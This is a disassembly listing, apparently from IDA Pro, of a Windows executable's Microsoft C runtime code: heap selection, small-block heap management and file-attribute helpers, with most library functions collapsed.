[00000017 BYTES: COLLAPSED FUNCTION __fpmath. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; [00000038 BYTES: COLLAPSED FUNCTION __cfltcvt_init. PRESS KEYPAD "+" TO EXPAND] ; [00000027 BYTES: COLLAPSED FUNCTION __ftol. PRESS KEYPAD "+" TO EXPAND] ; [000000CF BYTES: COLLAPSED FUNCTION _ceil. PRESS KEYPAD "+" TO EXPAND] ; [0000002D BYTES: COLLAPSED FUNCTION _JumpToContinuation(void *,EHRegistrationNode *). PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 8 ; [00000007 BYTES: COLLAPSED FUNCTION sub_41D29E. PRESS KEYPAD "+" TO EXPAND] ; [00000007 BYTES: COLLAPSED FUNCTION sub_41D2A5. PRESS KEYPAD "+" TO EXPAND] ; [0000004F BYTES: COLLAPSED FUNCTION unknown_libname_2. PRESS KEYPAD "+" TO EXPAND] ; [00000036 BYTES: COLLAPSED FUNCTION ___CxxFrameHandler. PRESS KEYPAD "+" TO EXPAND] ; [00000054 BYTES: COLLAPSED FUNCTION _CallCatchBlock2(EHRegistrationNode *,_s_FuncInfo const *,void *,int,ulong). PRESS KEYPAD "+" TO EXPAND] ; [00000025 BYTES: COLLAPSED FUNCTION CatchGuardHandler(EHExceptionRecord *,CatchGuardRN *,void *,void *). PRESS KEYPAD "+" TO EXPAND] ; [000000B4 BYTES: COLLAPSED FUNCTION _CallSETranslator(EHExceptionRecord *,EHRegistrationNode *,void *,void *,_s_FuncInfo const *,int,EHRegistrationNode *). PRESS KEYPAD "+" TO EXPAND] ; [00000075 BYTES: COLLAPSED FUNCTION TranslatorGuardHandler(EHExceptionRecord *,TranslatorGuardRN *,void *,void *). PRESS KEYPAD "+" TO EXPAND] ; [0000007B BYTES: COLLAPSED FUNCTION _GetRangeOfTrysToCheck(_s_FuncInfo const *,int,int,uint *,uint *). PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000020 BYTES: COLLAPSED FUNCTION __global_unwind2. PRESS KEYPAD "+" TO EXPAND] ; [00000022 BYTES: COLLAPSED FUNCTION __unwind_handler. PRESS KEYPAD "+" TO EXPAND] ; [00000068 BYTES: COLLAPSED FUNCTION __local_unwind2. PRESS KEYPAD "+" TO EXPAND] ; [00000023 BYTES: COLLAPSED FUNCTION __abnormal_termination. PRESS KEYPAD "+" TO EXPAND] ; [00000009 BYTES: COLLAPSED FUNCTION __NLG_Notify1. PRESS KEYPAD "+" TO EXPAND] ; [00000018 BYTES: COLLAPSED FUNCTION __NLG_Notify. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000001F BYTES: COLLAPSED FUNCTION __EH_prolog. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_41D65F proc near ; CODE XREF: std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool)+26p ; sub_4260E2+10p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41BA91 pop ecx retn sub_41D65F endp ; --------------------------------------------------------------------------- align 10h ; [00000335 BYTES: COLLAPSED FUNCTION _memcpy_0. PRESS KEYPAD "+" TO EXPAND] ; [0000000E BYTES: COLLAPSED FUNCTION operator new(uint). PRESS KEYPAD "+" TO EXPAND] ; [0000006D BYTES: COLLAPSED FUNCTION __onexit. PRESS KEYPAD "+" TO EXPAND] ; [00000012 BYTES: COLLAPSED FUNCTION _atexit. PRESS KEYPAD "+" TO EXPAND] ; [0000002F BYTES: COLLAPSED FUNCTION ___onexitinit. PRESS KEYPAD "+" TO EXPAND] ; [0000002A BYTES: COLLAPSED FUNCTION _wcscat. PRESS KEYPAD "+" TO EXPAND] ; [0000008C BYTES: COLLAPSED FUNCTION _fseek. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000034 BYTES: COLLAPSED FUNCTION __allmul. PRESS KEYPAD "+" TO EXPAND] ; [0000010A BYTES: COLLAPSED FUNCTION _fwrite. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_41DC5E proc near ; CODE XREF: sub_416CAF+8p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] call ds:dword_4270A0 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jnz short loc_41DC7E call ds:dword_427094 ; RtlGetLastWin32Error push eax call __dosmaperr pop ecx loc_41DC7A: ; CODE XREF: sub_41DC5E+3Fj or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41DC7E: ; CODE XREF: sub_41DC5E+Dj test al, 1 jz short loc_41DC9F test [esp+arg_4], 2 jz short loc_41DC9F mov dword_4DBDDC, 0Dh mov dword_4DBDE0, 5 jmp short loc_41DC7A ; --------------------------------------------------------------------------- loc_41DC9F: ; CODE XREF: sub_41DC5E+22j ; sub_41DC5E+29j xor eax, eax retn sub_41DC5E endp ; --------------------------------------------------------------------------- align 10h ; [00000068 BYTES: COLLAPSED FUNCTION __aulldiv. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000075 BYTES: COLLAPSED FUNCTION __aullrem. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000AA BYTES: COLLAPSED FUNCTION __alldiv. PRESS KEYPAD "+" TO EXPAND] ; [0000009E BYTES: COLLAPSED FUNCTION __strupr. PRESS KEYPAD "+" TO EXPAND] ; [00000028 BYTES: COLLAPSED FUNCTION _isdigit. PRESS KEYPAD "+" TO EXPAND] ; [00000028 BYTES: COLLAPSED FUNCTION _isspace. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000AC BYTES: COLLAPSED FUNCTION _memcmp. PRESS KEYPAD "+" TO EXPAND] ; [000000CB BYTES: COLLAPSED FUNCTION _tolower. PRESS KEYPAD "+" TO EXPAND] ; [0000001D BYTES: COLLAPSED FUNCTION _wcslen. PRESS KEYPAD "+" TO EXPAND] ; [000000FF BYTES: COLLAPSED FUNCTION _mbstowcs. PRESS KEYPAD "+" TO EXPAND] ; [000000D7 BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- mov eax, [ebp-14h] mov ecx, [eax] mov ecx, [ecx] mov [ebp-68h], ecx push eax push ecx call __XcptFilter pop ecx pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] push dword ptr [ebp-68h] call __exit ; [00000022 BYTES: COLLAPSED FUNCTION __amsg_exit. PRESS KEYPAD "+" TO EXPAND] pop ecx pop ecx retn ; [00000024 BYTES: COLLAPSED FUNCTION _fast_error_exit. PRESS KEYPAD "+" TO EXPAND] ; [000000B3 BYTES: COLLAPSED FUNCTION __close. PRESS KEYPAD "+" TO EXPAND] ; [0000002B BYTES: COLLAPSED FUNCTION __freebuf. PRESS KEYPAD "+" TO EXPAND] ; [0000003B BYTES: COLLAPSED FUNCTION _fflush. PRESS KEYPAD "+" TO EXPAND] ; [0000005C BYTES: COLLAPSED FUNCTION __flush. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_41E487 proc near ; CODE XREF: ___endstdiop push 1 call _flsall pop ecx retn sub_41E487 endp ; [0000006D BYTES: COLLAPSED FUNCTION _flsall. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_41E4FD proc near ; CODE XREF: sub_41E52A+136p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 0 and dword ptr [esi], 0 call ds:dword_4270A4 ; GetModuleHandleA cmp word ptr [eax], 5A4Dh jnz short loc_41E528 mov ecx, [eax+3Ch] test ecx, ecx jz short loc_41E528 add eax, ecx mov cl, [eax+1Ah] mov [esi], cl mov al, [eax+1Bh] mov [esi+1], al loc_41E528: ; CODE XREF: sub_41E4FD+15j ; sub_41E4FD+1Cj pop esi retn sub_41E4FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E52A proc near ; CODE XREF: sub_41E672+20p Str = byte ptr -122Ch SubStr = byte ptr -19Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_88 = dword ptr -88h var_4 = byte ptr -4 push ebp mov ebp, esp mov eax, 122Ch call __alloca_probe lea eax, [ebp+var_98] push ebx push eax mov [ebp+var_98], 94h call ds:dword_4270D0 ; GetVersionExA test eax, eax jz short loc_41E56D cmp [ebp+var_88], 2 jnz short loc_41E56D cmp [ebp+var_94], 5 jb short loc_41E56D push 1 pop eax jmp loc_41E66F ; --------------------------------------------------------------------------- loc_41E56D: ; CODE XREF: sub_41E52A+27j ; sub_41E52A+30j ... lea eax, [ebp+Str] push 1090h push eax push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT" call ds:dword_4271B4 ; GetEnvironmentVariableA test eax, eax jz loc_41E65C xor ebx, ebx lea ecx, [ebp+Str] cmp [ebp+Str], bl jz short loc_41E5AF loc_41E59C: ; CODE XREF: sub_41E52A+83j mov al, [ecx] cmp al, 61h jl short loc_41E5AA cmp al, 7Ah jg short loc_41E5AA sub al, 20h mov [ecx], al loc_41E5AA: ; CODE XREF: sub_41E52A+76j ; sub_41E52A+7Aj inc ecx cmp [ecx], bl jnz short loc_41E59C loc_41E5AF: ; CODE XREF: sub_41E52A+70j lea eax, [ebp+Str] push 16h ; MaxCount push eax ; Str2 push offset Str1 ; "__GLOBAL_HEAP_SELECTED" call _strncmp add esp, 0Ch test eax, eax jnz short loc_41E5D1 lea eax, [ebp+Str] jmp short loc_41E61A ; --------------------------------------------------------------------------- loc_41E5D1: ; CODE XREF: sub_41E52A+9Dj lea eax, [ebp+SubStr] push 104h push eax push ebx call ds:dword_427078 ; GetModuleFileNameA cmp [ebp+SubStr], bl lea ecx, [ebp+SubStr] jz short loc_41E605 loc_41E5F2: ; CODE XREF: sub_41E52A+D9j mov al, [ecx] cmp al, 61h jl short loc_41E600 cmp al, 7Ah jg short loc_41E600 sub al, 20h mov [ecx], al loc_41E600: ; CODE XREF: sub_41E52A+CCj ; sub_41E52A+D0j inc ecx cmp [ecx], bl jnz short loc_41E5F2 loc_41E605: ; CODE XREF: sub_41E52A+C6j lea eax, [ebp+SubStr] push eax ; SubStr lea eax, [ebp+Str] push eax ; Str call _strstr pop ecx pop ecx loc_41E61A: ; CODE XREF: sub_41E52A+A5j cmp eax, ebx jz short loc_41E65C push 2Ch ; Val push eax ; Str call _strchr pop ecx cmp eax, ebx pop ecx jz short loc_41E65C inc eax mov ecx, eax cmp [eax], bl jz short loc_41E641 loc_41E633: ; CODE XREF: sub_41E52A+115j cmp byte ptr [ecx], 3Bh jnz short loc_41E63C mov [ecx], bl jmp short loc_41E63D ; --------------------------------------------------------------------------- loc_41E63C: ; CODE XREF: sub_41E52A+10Cj inc ecx loc_41E63D: ; CODE XREF: sub_41E52A+110j cmp [ecx], bl jnz short loc_41E633 loc_41E641: ; CODE XREF: sub_41E52A+107j push 0Ah ; Radix push ebx ; EndPtr push eax ; Str call _strtol add esp, 0Ch cmp eax, 2 jz short loc_41E66F cmp eax, 3 jz short loc_41E66F cmp eax, 1 jz short loc_41E66F loc_41E65C: ; CODE XREF: sub_41E52A+5Cj ; sub_41E52A+F2j ... lea eax, [ebp+var_4] push eax call sub_41E4FD cmp [ebp+var_4], 6 pop ecx sbb eax, eax add eax, 3 loc_41E66F: ; CODE XREF: sub_41E52A+3Ej ; sub_41E52A+126j ... pop ebx leave retn sub_41E52A endp ; =============== S U B R O U T I N E ======================================= sub_41E672 proc near ; CODE XREF: start+5Ap arg_0 = dword ptr 4 xor eax, eax push 0 cmp [esp+4+arg_0], eax push 1000h setz al push eax call ds:dword_4271BC ; HeapCreate test eax, eax mov dword_4DD384, eax jz short loc_41E6C8 call sub_41E52A cmp eax, 3 mov dword_4DD388, eax jnz short loc_41E6AE push 3F8h call ___sbh_heap_init pop ecx jmp short loc_41E6B8 ; --------------------------------------------------------------------------- loc_41E6AE: ; CODE XREF: sub_41E672+2Dj cmp eax, 2 jnz short loc_41E6CB call sub_41F216 loc_41E6B8: ; CODE XREF: sub_41E672+3Aj test eax, eax jnz short loc_41E6CB push dword_4DD384 call ds:dword_4271B8 ; HeapDestroy loc_41E6C8: ; CODE XREF: sub_41E672+1Ej xor eax, eax retn ; --------------------------------------------------------------------------- loc_41E6CB: ; CODE XREF: sub_41E672+3Fj ; sub_41E672+48j push 1 pop eax retn sub_41E672 endp ; [00000048 BYTES: COLLAPSED FUNCTION ___sbh_heap_init. PRESS KEYPAD "+" TO EXPAND] ; [0000002B BYTES: COLLAPSED FUNCTION ___sbh_find_block. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E742 proc near ; CODE XREF: sub_41BA91+23p ; sub_41BBE2+A4p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov ecx, [ebp+arg_0] push ebx push esi mov esi, [ebp+arg_4] mov eax, [ecx+10h] push edi mov edi, esi add esi, 0FFFFFFFCh sub edi, [ecx+0Ch] shr edi, 0Fh mov ecx, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_10], ecx mov ecx, [esi] dec ecx test cl, 1 mov [ebp+var_4], ecx jnz loc_41EA66 mov edx, [ecx+esi] lea ebx, [ecx+esi] mov [ebp+var_C], edx mov edx, [esi-4] mov [ebp+var_8], edx mov edx, [ebp+var_C] test dl, 1 mov [ebp+arg_4], ebx jnz short loc_41E818 sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41E7A6 push 3Fh pop edx loc_41E7A6: ; CODE XREF: sub_41E742+5Fj mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41E7FA cmp edx, 20h jnb short loc_41E7D1 mov ebx, 80000000h mov ecx, edx shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+44h], ebx dec byte ptr [ecx] jnz short loc_41E7F2 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41E7F2 ; --------------------------------------------------------------------------- loc_41E7D1: ; CODE XREF: sub_41E742+6Fj lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41E7F2 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41E7F2: ; CODE XREF: sub_41E742+86j ; sub_41E742+8Dj ... mov ecx, [ebp+var_4] mov ebx, [ebp+arg_4] jmp short loc_41E7FD ; --------------------------------------------------------------------------- loc_41E7FA: ; CODE XREF: sub_41E742+6Aj mov ecx, [ebp+var_4] loc_41E7FD: ; CODE XREF: sub_41E742+B6j mov edx, [ebx+8] mov ebx, [ebx+4] add ecx, [ebp+var_C] mov [edx+4], ebx mov edx, [ebp+arg_4] mov [ebp+var_4], ecx mov ebx, [edx+4] mov edx, [edx+8] mov [ebx+8], edx loc_41E818: ; CODE XREF: sub_41E742+56j mov edx, ecx sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41E826 push 3Fh pop edx loc_41E826: ; CODE XREF: sub_41E742+DFj mov ebx, [ebp+var_8] and ebx, 1 mov [ebp+var_C], ebx jnz loc_41E8C9 sub esi, [ebp+var_8] mov ebx, [ebp+var_8] sar ebx, 4 push 3Fh mov [ebp+arg_4], esi dec ebx pop esi cmp ebx, esi jbe short loc_41E84B mov ebx, esi loc_41E84B: ; CODE XREF: sub_41E742+105j add ecx, [ebp+var_8] mov edx, ecx mov [ebp+var_4], ecx sar edx, 4 dec edx cmp edx, esi jbe short loc_41E85D mov edx, esi loc_41E85D: ; CODE XREF: sub_41E742+117j cmp ebx, edx jz short loc_41E8C4 mov ecx, [ebp+arg_4] mov esi, [ecx+4] cmp esi, [ecx+8] jnz short loc_41E8AC cmp ebx, 20h jnb short loc_41E88D mov esi, 80000000h mov ecx, ebx shr esi, cl not esi and [eax+edi*4+44h], esi dec byte ptr [ebx+eax+4] jnz short loc_41E8AC mov ecx, [ebp+arg_0] and [ecx], esi jmp short loc_41E8AC ; --------------------------------------------------------------------------- loc_41E88D: ; CODE XREF: sub_41E742+12Dj lea ecx, [ebx-20h] mov esi, 80000000h shr esi, cl not esi and [eax+edi*4+0C4h], esi dec byte ptr [ebx+eax+4] jnz short loc_41E8AC mov ecx, [ebp+arg_0] and [ecx+4], esi loc_41E8AC: ; CODE XREF: sub_41E742+128j ; sub_41E742+142j ... mov ecx, [ebp+arg_4] mov esi, [ecx+8] mov ecx, [ecx+4] mov [esi+4], ecx mov ecx, [ebp+arg_4] mov esi, [ecx+4] mov ecx, [ecx+8] mov [esi+8], ecx loc_41E8C4: ; CODE XREF: sub_41E742+11Dj mov esi, [ebp+arg_4] jmp short loc_41E8CC ; --------------------------------------------------------------------------- loc_41E8C9: ; CODE XREF: sub_41E742+EDj mov ebx, [ebp+arg_0] loc_41E8CC: ; CODE XREF: sub_41E742+185j cmp [ebp+var_C], 0 jnz short loc_41E8DA cmp ebx, edx jz loc_41E95B loc_41E8DA: ; CODE XREF: sub_41E742+18Ej mov ecx, [ebp+var_10] mov ebx, [ecx+edx*8+4] lea ecx, [ecx+edx*8] mov [esi+4], ebx mov [esi+8], ecx mov [ecx+4], esi mov ecx, [esi+4] mov [ecx+8], esi mov ecx, [esi+4] cmp ecx, [esi+8] jnz short loc_41E95B mov cl, [edx+eax+4] cmp edx, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [edx+eax+4], cl jnb short loc_41E932 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E921 mov ebx, 80000000h mov ecx, edx shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41E921: ; CODE XREF: sub_41E742+1CFj mov ebx, 80000000h mov ecx, edx shr ebx, cl lea eax, [eax+edi*4+44h] or [eax], ebx jmp short loc_41E95B ; --------------------------------------------------------------------------- loc_41E932: ; CODE XREF: sub_41E742+1C9j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E948 lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41E948: ; CODE XREF: sub_41E742+1F4j lea ecx, [edx-20h] mov edx, 80000000h shr edx, cl lea eax, [eax+edi*4+0C4h] or [eax], edx loc_41E95B: ; CODE XREF: sub_41E742+192j ; sub_41E742+1B7j ... mov eax, [ebp+var_4] mov [esi], eax mov [eax+esi-4], eax mov eax, [ebp+var_10] dec dword ptr [eax] jnz loc_41EA66 mov eax, Dst test eax, eax jz loc_41EA58 mov ecx, dword_4DD36C mov esi, ds:dword_427068 shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push 4000h push ebx push ecx call esi ; VirtualFree mov ecx, dword_4DD36C mov eax, Dst mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, Dst mov ecx, dword_4DD36C mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, Dst mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, Dst mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_41E9E9 and dword ptr [eax+4], 0FFFFFFFEh mov eax, Dst loc_41E9E9: ; CODE XREF: sub_41E742+29Cj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_41EA58 push ebx push 0 push dword ptr [eax+0Ch] call esi ; VirtualFree mov eax, Dst push dword ptr [eax+10h] push 0 push dword_4DD384 call ds:dword_42714C ; RtlFreeHeap mov eax, dword_4DD378 mov edx, dword_4DD37C lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, Dst sub ecx, eax lea ecx, [ecx+edx-14h] push ecx ; Size lea ecx, [eax+14h] push ecx ; Src push eax ; Dst call _memcpy_0 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_4DD378 cmp eax, Dst jbe short loc_41EA4E sub [ebp+arg_0], 14h loc_41EA4E: ; CODE XREF: sub_41E742+306j mov eax, dword_4DD37C mov dword_4DD370, eax loc_41EA58: ; CODE XREF: sub_41E742+234j ; sub_41E742+2ABj mov eax, [ebp+arg_0] mov dword_4DD36C, edi mov Dst, eax loc_41EA66: ; CODE XREF: sub_41E742+38j ; sub_41E742+227j pop edi pop esi pop ebx leave retn sub_41E742 endp ; [00000309 BYTES: COLLAPSED FUNCTION ___sbh_alloc_block. PRESS KEYPAD "+" TO EXPAND] ; [000000B1 BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_region. PRESS KEYPAD "+" TO EXPAND] ; [000000FB BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_group. PRESS KEYPAD "+" TO EXPAND] ; [000002F6 BYTES: COLLAPSED FUNCTION ___sbh_resize_block. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_41F216 proc near ; CODE XREF: sub_41E672+41p ; sub_41F50E:loc_41F6DDp cmp dword_43AE60, 0FFFFFFFFh push ebx push ebp push esi push edi jnz short loc_41F22A mov esi, offset off_43AE50 jmp short loc_41F247 ; --------------------------------------------------------------------------- loc_41F22A: ; CODE XREF: sub_41F216+Bj push 2020h push 0 push dword_4DD384 call ds:dword_427150 ; RtlAllocateHeap mov esi, eax test esi, esi jz loc_41F353 loc_41F247: ; CODE XREF: sub_41F216+12j mov ebp, ds:dword_427064 push 4 push 2000h push 400000h push 0 call ebp ; VirtualAlloc mov edi, eax test edi, edi jz loc_41F33C push 4 mov ebx, 10000h push 1000h push ebx push edi call ebp ; VirtualAlloc test eax, eax jz loc_41F32E mov eax, offset off_43AE50 cmp esi, eax jnz short loc_41F2A6 cmp off_43AE50, 0 jnz short loc_41F296 mov off_43AE50, eax loc_41F296: ; CODE XREF: sub_41F216+79j cmp off_43AE54, 0 jnz short loc_41F2BB mov off_43AE54, eax jmp short loc_41F2BB ; --------------------------------------------------------------------------- loc_41F2A6: ; CODE XREF: sub_41F216+70j mov [esi], eax mov eax, off_43AE54 mov [esi+4], eax mov off_43AE54, esi mov eax, [esi+4] mov [eax], esi loc_41F2BB: ; CODE XREF: sub_41F216+87j ; sub_41F216+8Ej lea eax, [edi+400000h] lea ecx, [esi+98h] mov [esi+14h], eax lea eax, [esi+18h] mov [esi+0Ch], ecx mov [esi+10h], edi mov [esi+8], eax xor ebp, ebp mov ecx, 0F1h loc_41F2DD: ; CODE XREF: sub_41F216+E2j xor edx, edx cmp ebp, 10h setnl dl dec edx and edx, ecx dec edx inc ebp mov [eax], edx mov [eax+4], ecx add eax, 8 cmp ebp, 400h jl short loc_41F2DD push ebx ; Size push 0 ; Val push edi ; Dst call _memset add esp, 0Ch loc_41F306: ; CODE XREF: sub_41F216+112j mov eax, [esi+10h] add eax, ebx cmp edi, eax jnb short loc_41F32A or byte ptr [edi+0F8h], 0FFh lea eax, [edi+8] mov [edi], eax mov dword ptr [edi+4], 0F0h add edi, 1000h jmp short loc_41F306 ; --------------------------------------------------------------------------- loc_41F32A: ; CODE XREF: sub_41F216+F7j mov eax, esi jmp short loc_41F355 ; --------------------------------------------------------------------------- loc_41F32E: ; CODE XREF: sub_41F216+63j push 8000h push 0 push edi call ds:dword_427068 ; VirtualFree loc_41F33C: ; CODE XREF: sub_41F216+4Bj cmp esi, offset off_43AE50 jz short loc_41F353 push esi push 0 push dword_4DD384 call ds:dword_42714C ; RtlFreeHeap loc_41F353: ; CODE XREF: sub_41F216+2Bj ; sub_41F216+12Cj xor eax, eax loc_41F355: ; CODE XREF: sub_41F216+116j pop edi pop esi pop ebp pop ebx retn sub_41F216 endp ; =============== S U B R O U T I N E ======================================= sub_41F35A proc near ; CODE XREF: sub_41F3B0+A5p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 8000h push 0 push dword ptr [esi+10h] call ds:dword_427068 ; VirtualFree cmp off_43CE70, esi jnz short loc_41F37F mov eax, [esi+4] mov off_43CE70, eax loc_41F37F: ; CODE XREF: sub_41F35A+1Bj cmp esi, offset off_43AE50 jz short loc_41F3A7 mov eax, [esi+4] mov ecx, [esi] push esi push 0 mov [eax], ecx mov eax, [esi] mov ecx, [esi+4] mov [eax+4], ecx push dword_4DD384 call ds:dword_42714C ; RtlFreeHeap pop esi retn ; --------------------------------------------------------------------------- loc_41F3A7: ; CODE XREF: sub_41F35A+2Bj or dword_43AE60, 0FFFFFFFFh pop esi retn sub_41F35A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F3B0 proc near ; CODE XREF: sub_41F4C9+3Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi mov esi, off_43AE54 push edi loc_41F3BD: ; CODE XREF: sub_41F3B0+B7j cmp dword ptr [esi+10h], 0FFFFFFFFh jz loc_41F45B and [ebp+var_4], 0 lea edi, [esi+2010h] mov ebx, 3FF000h loc_41F3D6: ; CODE XREF: sub_41F3B0+72j cmp dword ptr [edi], 0F0h jnz short loc_41F417 mov eax, ebx push 4000h add eax, [esi+10h] push 1000h push eax call ds:dword_427068 ; VirtualFree test eax, eax jz short loc_41F417 or dword ptr [edi], 0FFFFFFFFh dec dword_4DBE40 mov eax, [esi+0Ch] test eax, eax jz short loc_41F40C cmp eax, edi jbe short loc_41F40F loc_41F40C: ; CODE XREF: sub_41F3B0+56j mov [esi+0Ch], edi loc_41F40F: ; CODE XREF: sub_41F3B0+5Aj inc [ebp+var_4] dec [ebp+arg_0] jz short loc_41F424 loc_41F417: ; CODE XREF: sub_41F3B0+2Cj ; sub_41F3B0+46j sub ebx, 1000h sub edi, 8 test ebx, ebx jge short loc_41F3D6 loc_41F424: ; CODE XREF: sub_41F3B0+65j cmp [ebp+var_4], 0 mov ecx, esi mov esi, [esi+4] jz short loc_41F45B cmp dword ptr [ecx+18h], 0FFFFFFFFh jnz short loc_41F45B push 1 lea eax, [ecx+20h] pop edx loc_41F43B: ; CODE XREF: sub_41F3B0+9Aj cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41F44C inc edx add eax, 8 cmp edx, 400h jl short loc_41F43B loc_41F44C: ; CODE XREF: sub_41F3B0+8Ej cmp edx, 400h jnz short loc_41F45B push ecx call sub_41F35A pop ecx loc_41F45B: ; CODE XREF: sub_41F3B0+11j ; sub_41F3B0+7Dj ... cmp esi, off_43AE54 jz short loc_41F46D cmp [ebp+arg_0], 0 jg loc_41F3BD loc_41F46D: ; CODE XREF: sub_41F3B0+B1j pop edi pop esi pop ebx leave retn sub_41F3B0 endp ; =============== S U B R O U T I N E ======================================= sub_41F472 proc near ; CODE XREF: sub_41BA91+3Ap ; sub_41BBE2+173p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov edx, offset off_43AE50 push esi mov ecx, edx loc_41F47E: ; CODE XREF: sub_41F472+1Cj cmp eax, [ecx+10h] jbe short loc_41F488 cmp eax, [ecx+14h] jb short loc_41F490 loc_41F488: ; CODE XREF: sub_41F472+Fj mov ecx, [ecx] cmp ecx, edx jz short loc_41F4C5 jmp short loc_41F47E ; --------------------------------------------------------------------------- loc_41F490: ; CODE XREF: sub_41F472+14j test al, 0Fh jnz short loc_41F4C5 mov esi, eax mov edx, 100h and esi, 0FFFh cmp esi, edx jb short loc_41F4C5 mov esi, [esp+4+arg_4] mov [esi], ecx mov esi, [esp+4+arg_8] mov ecx, eax and cx, 0F000h sub eax, ecx mov [esi], ecx sub eax, edx pop esi sar eax, 4 lea eax, [eax+ecx+8] retn ; --------------------------------------------------------------------------- loc_41F4C5: ; CODE XREF: sub_41F472+1Aj ; sub_41F472+20j ... xor eax, eax pop esi retn sub_41F472 endp ; =============== S U B R O U T I N E ======================================= sub_41F4C9 proc near ; CODE XREF: sub_41BA91+4Dp ; sub_41BBE2+1D5p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] sub ecx, [eax+10h] sar ecx, 0Ch lea eax, [eax+ecx*8+18h] mov ecx, [esp+arg_8] movzx edx, byte ptr [ecx] add [eax], edx and byte ptr [ecx], 0 cmp dword ptr [eax], 0F0h mov dword ptr [eax+4], 0F1h jnz short locret_41F50D inc dword_4DBE40 cmp dword_4DBE40, 20h jnz short locret_41F50D push 10h call sub_41F3B0 pop ecx locret_41F50D: ; CODE XREF: sub_41F4C9+2Bj ; sub_41F4C9+3Aj retn sub_41F4C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F50E proc near ; CODE XREF: sub_41BBE2+1ACp ; sub_41BEF3+4Ap ... Val = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, off_43CE70 push edi loc_41F51C: ; CODE XREF: sub_41F50E+C6j mov edx, [esi+10h] cmp edx, 0FFFFFFFFh jz loc_41F5C7 mov edi, [esi+8] lea ecx, [esi+2018h] mov eax, edi sub eax, esi sub eax, 18h sar eax, 3 shl eax, 0Ch add eax, edx cmp edi, ecx mov [ebp+var_4], eax jnb short loc_41F581 loc_41F547: ; CODE XREF: sub_41F50E+6Fj mov ecx, [edi] mov ebx, [ebp+arg_0] cmp ecx, ebx jl short loc_41F56A cmp [edi+4], ebx jbe short loc_41F56A push ebx push ecx push eax call sub_41F716 add esp, 0Ch test eax, eax jnz short loc_41F5D9 mov eax, [ebp+var_4] mov [edi+4], ebx loc_41F56A: ; CODE XREF: sub_41F50E+40j ; sub_41F50E+45j add edi, 8 lea ecx, [esi+2018h] add eax, 1000h cmp edi, ecx mov [ebp+var_4], eax jb short loc_41F547 jmp short loc_41F584 ; 